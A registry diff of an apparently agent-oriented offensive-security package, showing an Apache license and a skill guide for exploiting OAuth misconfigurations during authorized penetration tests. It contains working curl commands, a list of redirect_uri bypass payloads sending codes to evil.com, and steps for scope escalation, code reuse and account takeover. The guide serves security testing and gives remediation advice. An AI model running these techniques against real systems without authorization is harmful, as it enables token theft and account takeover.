open-sploit 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (81) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +75 -0
  3. package/bin/install.mjs +158 -0
  4. package/package.json +27 -0
  5. package/template/agent/offsec.md +53 -0
  6. package/template/command/target.md +45 -0
  7. package/template/config/opencode.example.json +46 -0
  8. package/template/skills/api-security-testing/SKILL.md +61 -0
  9. package/template/skills/conducting-api-security-testing/LICENSE +201 -0
  10. package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
  11. package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
  12. package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
  13. package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
  14. package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
  15. package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
  16. package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
  17. package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
  18. package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
  19. package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
  20. package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
  21. package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
  22. package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
  23. package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
  24. package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
  25. package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
  26. package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
  27. package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
  28. package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
  29. package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
  30. package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
  31. package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
  32. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
  33. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
  34. package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
  35. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
  36. package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
  37. package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
  38. package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
  39. package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
  40. package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
  41. package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
  42. package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
  43. package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
  44. package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
  45. package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
  46. package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
  47. package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
  48. package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
  49. package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
  50. package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
  51. package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
  52. package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
  53. package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
  54. package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
  55. package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
  56. package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
  57. package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
  58. package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
  59. package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
  60. package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
  61. package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
  62. package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
  63. package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
  64. package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
  65. package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
  66. package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
  67. package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
  68. package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
  69. package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
  70. package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
  71. package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
  72. package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
  73. package/template/skills/hackerone/SKILL.md +137 -0
  74. package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
  75. package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
  76. package/template/skills/hackerone/tools/__init__.py +0 -0
  77. package/template/skills/hackerone/tools/csv_parser.py +185 -0
  78. package/template/skills/hackerone/tools/report_validator.py +285 -0
  79. package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
  80. package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
  81. package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
@@ -0,0 +1,201 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to the Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by the Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding any notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. Please do not remove or change
186
+ the license header comment from a contributed file except when
187
+ necessary.
188
+
189
+ Copyright 2026 mukul975
190
+
191
+ Licensed under the Apache License, Version 2.0 (the "License");
192
+ you may not use this file except in compliance with the License.
193
+ You may obtain a copy of the License at
194
+
195
+ http://www.apache.org/licenses/LICENSE-2.0
196
+
197
+ Unless required by applicable law or agreed to in writing, software
198
+ distributed under the License is distributed on an "AS IS" BASIS,
199
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200
+ See the License for the specific language governing permissions and
201
+ limitations under the License.
@@ -0,0 +1,316 @@
1
+ ---
2
+ name: exploiting-oauth-misconfiguration
3
+ description: Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations
4
+ including redirect URI manipulation, token leakage, and authorization code theft
5
+ during security assessments.
6
+ domain: cybersecurity
7
+ subdomain: web-application-security
8
+ tags:
9
+ - penetration-testing
10
+ - oauth
11
+ - oidc
12
+ - authentication
13
+ - web-security
14
+ - authorization
15
+ version: '1.0'
16
+ author: mahipal
17
+ license: Apache-2.0
18
+ nist_csf:
19
+ - PR.PS-01
20
+ - ID.RA-01
21
+ - PR.DS-10
22
+ - DE.CM-01
23
+ mitre_attack:
24
+ - T1190
25
+ - T1059.007
26
+ - T1505.003
27
+ - T1083
28
+ ---
29
+
30
+ # Exploiting OAuth Misconfiguration
31
+
32
+ ## When to Use
33
+
34
+ - During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
35
+ - When assessing "Sign in with Google/Facebook/GitHub" social login implementations
36
+ - For testing single sign-on (SSO) flows between applications
37
+ - When evaluating API authorization using OAuth bearer tokens
38
+ - During security assessments of applications acting as OAuth providers or consumers
39
+
40
+ ## Prerequisites
41
+
42
+ - **Authorization**: Written penetration testing agreement covering OAuth/SSO flows
43
+ - **Burp Suite Professional**: For intercepting OAuth redirect flows
44
+ - **Browser with DevTools**: For monitoring redirect chains and token leakage
45
+ - **Multiple test accounts**: On both the OAuth provider and the target application
46
+ - **curl**: For manual OAuth flow testing
47
+ - **Attacker-controlled server**: For receiving redirected tokens/codes
48
+
49
+ ## Workflow
50
+
51
+ ### Step 1: Map the OAuth Flow and Configuration
52
+
53
+ Identify the OAuth grant type, endpoints, and configuration.
54
+
55
+ ```bash
56
+ # Discover OAuth/OIDC configuration endpoints
57
+ curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
58
+ curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
59
+
60
+ # Key endpoints to identify:
61
+ # - Authorization endpoint: /oauth/authorize
62
+ # - Token endpoint: /oauth/token
63
+ # - UserInfo endpoint: /oauth/userinfo
64
+ # - JWKS endpoint: /oauth/certs
65
+
66
+ # Capture the authorization request in Burp
67
+ # Typical authorization code flow:
68
+ # GET /oauth/authorize?
69
+ # response_type=code&
70
+ # client_id=CLIENT_ID&
71
+ # redirect_uri=https://app.example.com/callback&
72
+ # scope=openid profile email&
73
+ # state=RANDOM_STATE
74
+
75
+ # Identify the grant type:
76
+ # - Authorization Code: response_type=code
77
+ # - Implicit: response_type=token
78
+ # - Hybrid: response_type=code+token
79
+
80
+ # Check for PKCE parameters:
81
+ # - code_challenge=...
82
+ # - code_challenge_method=S256
83
+ ```
84
+
85
+ ### Step 2: Test Redirect URI Manipulation
86
+
87
+ Attempt to redirect the authorization code or token to an attacker-controlled domain.
88
+
89
+ ```bash
90
+ # Test open redirect via redirect_uri
91
+ # Original: redirect_uri=https://app.example.com/callback
92
+ # Attempt various bypasses:
93
+
94
+ BYPASSES=(
95
+ "https://evil.com"
96
+ "https://app.example.com.evil.com/callback"
97
+ "https://app.example.com@evil.com/callback"
98
+ "https://app.example.com/callback/../../../evil.com"
99
+ "https://evil.com/?.app.example.com"
100
+ "https://evil.com#.app.example.com"
101
+ "https://app.example.com/callback?next=https://evil.com"
102
+ "https://APP.EXAMPLE.COM/callback"
103
+ "https://app.example.com/callback%0d%0aLocation:https://evil.com"
104
+ "https://app.example.com/CALLBACK"
105
+ "http://app.example.com/callback"
106
+ "https://app.example.com/callback/../../other-path"
107
+ )
108
+
109
+ for uri in "${BYPASSES[@]}"; do
110
+ echo -n "Testing: $uri -> "
111
+ status=$(curl -s -o /dev/null -w "%{http_code}" \
112
+ "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
113
+ echo "$status"
114
+ done
115
+
116
+ # If redirect_uri validation is path-based, try path traversal
117
+ # redirect_uri=https://app.example.com/callback/../attacker-controlled-path
118
+
119
+ # If subdomain matching, try subdomain takeover + redirect
120
+ # redirect_uri=https://abandoned-subdomain.example.com/
121
+ ```
122
+
123
+ ### Step 3: Test for Authorization Code and Token Theft
124
+
125
+ Exploit leakage vectors for stealing OAuth tokens and codes.
126
+
127
+ ```bash
128
+ # Test token leakage via Referer header
129
+ # If implicit flow returns token in URL fragment:
130
+ # https://app.example.com/callback#access_token=TOKEN
131
+ # And the callback page loads external resources,
132
+ # the Referer header may leak the URL with the token
133
+
134
+ # Test for authorization code leakage via Referer
135
+ # After receiving code at callback, check if:
136
+ # 1. Page loads external images/scripts
137
+ # 2. Page has links to external sites
138
+ # Burp: Check Proxy History for Referer headers containing "code="
139
+
140
+ # Test authorization code reuse
141
+ CODE="captured_auth_code"
142
+ # First use
143
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
144
+ -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
145
+
146
+ # Second use (should fail but may not)
147
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
148
+ -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
149
+
150
+ # Test state parameter absence/predictability
151
+ # Remove state parameter entirely
152
+ curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
153
+ # If no error, CSRF on OAuth flow is possible
154
+ ```
155
+
156
+ ### Step 4: Test Scope Escalation and Privilege Manipulation
157
+
158
+ Attempt to gain more permissions than intended.
159
+
160
+ ```bash
161
+ # Request additional scopes beyond what's needed
162
+ curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
163
+
164
+ # Test with elevated scope on token exchange
165
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
166
+ -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
167
+
168
+ # Test token with manipulated claims
169
+ # If JWT access token, try modifying claims (see JWT testing skill)
170
+
171
+ # Test refresh token scope escalation
172
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
173
+ -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
174
+
175
+ # Test client credential flow with elevated permissions
176
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
177
+ -d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
178
+ ```
179
+
180
+ ### Step 5: Test for Account Takeover via OAuth
181
+
182
+ Exploit OAuth flows to take over victim accounts.
183
+
184
+ ```bash
185
+ # Test missing email verification on OAuth provider
186
+ # 1. Create an account on the OAuth provider with victim's email
187
+ # 2. OAuth login to the target app
188
+ # 3. If the app trusts the unverified email, account linking occurs
189
+
190
+ # Test pre-authentication account linking
191
+ # 1. Register on target app with victim's email (no OAuth)
192
+ # 2. Attacker links their OAuth account to victim's email
193
+ # 3. Attacker can now login via OAuth to victim's account
194
+
195
+ # CSRF on account linking
196
+ # If /oauth/link endpoint lacks CSRF protection:
197
+ # 1. Attacker initiates OAuth flow, captures the auth code
198
+ # 2. Craft a page that submits the code to victim's session
199
+ # 3. Victim's account gets linked to attacker's OAuth account
200
+
201
+ # Test token substitution
202
+ # Use authorization code/token from one client_id with another
203
+ curl -s -X POST "https://auth.target.example.com/oauth/token" \
204
+ -d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
205
+ ```
206
+
207
+ ### Step 6: Test Client Secret and Token Security
208
+
209
+ Assess the security of OAuth credentials and tokens.
210
+
211
+ ```bash
212
+ # Check for exposed client secrets
213
+ # Search JavaScript source code
214
+ curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
215
+
216
+ # Check mobile app decompilation for hardcoded secrets
217
+
218
+ # Test token revocation
219
+ ACCESS_TOKEN="captured_access_token"
220
+ # Use the token
221
+ curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
222
+ "https://api.target.example.com/me"
223
+
224
+ # Revoke the token
225
+ curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
226
+ -d "token=$ACCESS_TOKEN&token_type_hint=access_token"
227
+
228
+ # Test if revoked token still works
229
+ curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
230
+ "https://api.target.example.com/me"
231
+
232
+ # Test token lifetime
233
+ # Decode JWT access token and check exp claim
234
+ echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
235
+ # Long-lived tokens (hours/days) increase attack window
236
+
237
+ # Check PKCE implementation
238
+ # If public client without PKCE, authorization code interception is possible
239
+ ```
240
+
241
+ ## Key Concepts
242
+
243
+ | Concept | Description |
244
+ |---------|-------------|
245
+ | **Authorization Code Flow** | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
246
+ | **Implicit Flow** | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
247
+ | **PKCE** | Proof Key for Code Exchange; prevents authorization code interception attacks |
248
+ | **Redirect URI Validation** | Server-side validation that the redirect_uri matches registered values |
249
+ | **State Parameter** | Random value binding the OAuth request to the user's session, preventing CSRF |
250
+ | **Scope Escalation** | Requesting or obtaining more permissions than authorized |
251
+ | **Token Leakage** | Exposure of OAuth tokens via Referer headers, logs, or browser history |
252
+ | **Open Redirect** | Using OAuth redirect_uri as an open redirect to steal tokens |
253
+
254
+ ## Tools & Systems
255
+
256
+ | Tool | Purpose |
257
+ |------|---------|
258
+ | **Burp Suite Professional** | Intercepting OAuth redirect chains and modifying parameters |
259
+ | **OWASP ZAP** | Automated OAuth flow scanning |
260
+ | **Postman** | Manual OAuth flow testing with environment variables |
261
+ | **oauth-tools.com** | Online OAuth flow debugging and testing |
262
+ | **jwt.io** | JWT token analysis for OAuth access tokens |
263
+ | **Browser DevTools** | Monitoring network requests and redirect chains |
264
+
265
+ ## Common Scenarios
266
+
267
+ ### Scenario 1: Redirect URI Subdomain Bypass
268
+ The OAuth provider validates `redirect_uri` against `*.example.com`. An attacker finds a subdomain vulnerable to takeover (`old.example.com`), takes it over, and steals authorization codes redirected to it.
269
+
270
+ ### Scenario 2: Missing State Parameter CSRF
271
+ The OAuth login flow does not include or validate a `state` parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
272
+
273
+ ### Scenario 3: Implicit Flow Token Theft
274
+ The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
275
+
276
+ ### Scenario 4: Authorization Code Reuse
277
+ The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
278
+
279
+ ## Output Format
280
+
281
+ ```
282
+ ## OAuth Security Assessment Report
283
+
284
+ **Vulnerability**: Redirect URI Validation Bypass
285
+ **Severity**: High (CVSS 8.1)
286
+ **Location**: GET /oauth/authorize - redirect_uri parameter
287
+ **OWASP Category**: A07:2021 - Identification and Authentication Failures
288
+
289
+ ### OAuth Configuration
290
+ | Property | Value |
291
+ |----------|-------|
292
+ | Grant Type | Authorization Code |
293
+ | PKCE | Not implemented |
294
+ | State Parameter | Present but predictable |
295
+ | Token Type | JWT (RS256) |
296
+ | Token Lifetime | 1 hour |
297
+ | Refresh Token | 30 days |
298
+
299
+ ### Findings
300
+ | Finding | Severity |
301
+ |---------|----------|
302
+ | Redirect URI path traversal bypass | High |
303
+ | Missing PKCE on public client | High |
304
+ | Authorization code reusable | Medium |
305
+ | State parameter uses sequential values | Medium |
306
+ | Client secret exposed in JavaScript | Critical |
307
+ | Token not revoked after password change | Medium |
308
+
309
+ ### Recommendation
310
+ 1. Implement strict redirect_uri validation with exact string matching
311
+ 2. Require PKCE for all clients (especially public/mobile clients)
312
+ 3. Invalidate authorization codes after first use
313
+ 4. Use cryptographically random state parameters tied to user sessions
314
+ 5. Migrate from implicit flow to authorization code flow with PKCE
315
+ 6. Never expose client secrets in client-side code
316
+ ```
@@ -0,0 +1,59 @@
1
+ # API Reference: OAuth Misconfiguration Assessment Agent
2
+
3
+ ## Dependencies
4
+
5
+ | Library | Version | Purpose |
6
+ |---------|---------|---------|
7
+ | requests | >=2.28 | HTTP client for OAuth flow testing |
8
+
9
+ ## CLI Usage
10
+
11
+ ```bash
12
+ python scripts/agent.py \
13
+ --url https://auth.example.com \
14
+ --client-id APP_CLIENT_ID \
15
+ --redirect-uri https://app.example.com/callback \
16
+ --output oauth_report.json
17
+ ```
18
+
19
+ ## Functions
20
+
21
+ ### `discover_oidc_config(base_url) -> dict`
22
+ Fetches `/.well-known/openid-configuration` or `/.well-known/oauth-authorization-server`.
23
+
24
+ ### `test_redirect_uri_bypasses(auth_endpoint, client_id, legitimate_uri) -> list`
25
+ Tests 10 redirect_uri manipulation techniques: subdomain hijack, path traversal, case variation, protocol downgrade, CRLF injection.
26
+
27
+ ### `test_state_parameter(auth_endpoint, client_id, redirect_uri) -> dict`
28
+ Submits authorization request without `state` to check CSRF protection.
29
+
30
+ ### `test_pkce_requirement(auth_endpoint, client_id, redirect_uri) -> dict`
31
+ Tests whether `code_challenge` parameter is required. Generates S256 challenge for comparison.
32
+
33
+ ### `test_code_reuse(token_endpoint, auth_code, client_id, client_secret, redirect_uri) -> dict`
34
+ Exchanges an authorization code twice to check single-use enforcement.
35
+
36
+ ### `test_scope_escalation(auth_endpoint, client_id, redirect_uri) -> dict`
37
+ Requests elevated scopes (`admin`, `write`, `delete`) to test scope validation.
38
+
39
+ ### `run_assessment(config, client_id, redirect_uri) -> dict`
40
+ Orchestrates all tests and compiles findings.
41
+
42
+ ## OAuth Endpoints Tested
43
+
44
+ | Endpoint | Source | Test |
45
+ |----------|--------|------|
46
+ | `authorization_endpoint` | OIDC config | Redirect URI, state, PKCE, scope |
47
+ | `token_endpoint` | OIDC config | Code reuse, scope escalation |
48
+
49
+ ## Output Schema
50
+
51
+ ```json
52
+ {
53
+ "oidc_config": {"authorization_endpoint": "...", "token_endpoint": "..."},
54
+ "redirect_uri_tests": [{"redirect_uri": "https://evil.com", "accepted": false}],
55
+ "state_parameter": {"csrf_risk": false},
56
+ "pkce": {"pkce_required": true},
57
+ "findings": []
58
+ }
59
+ ```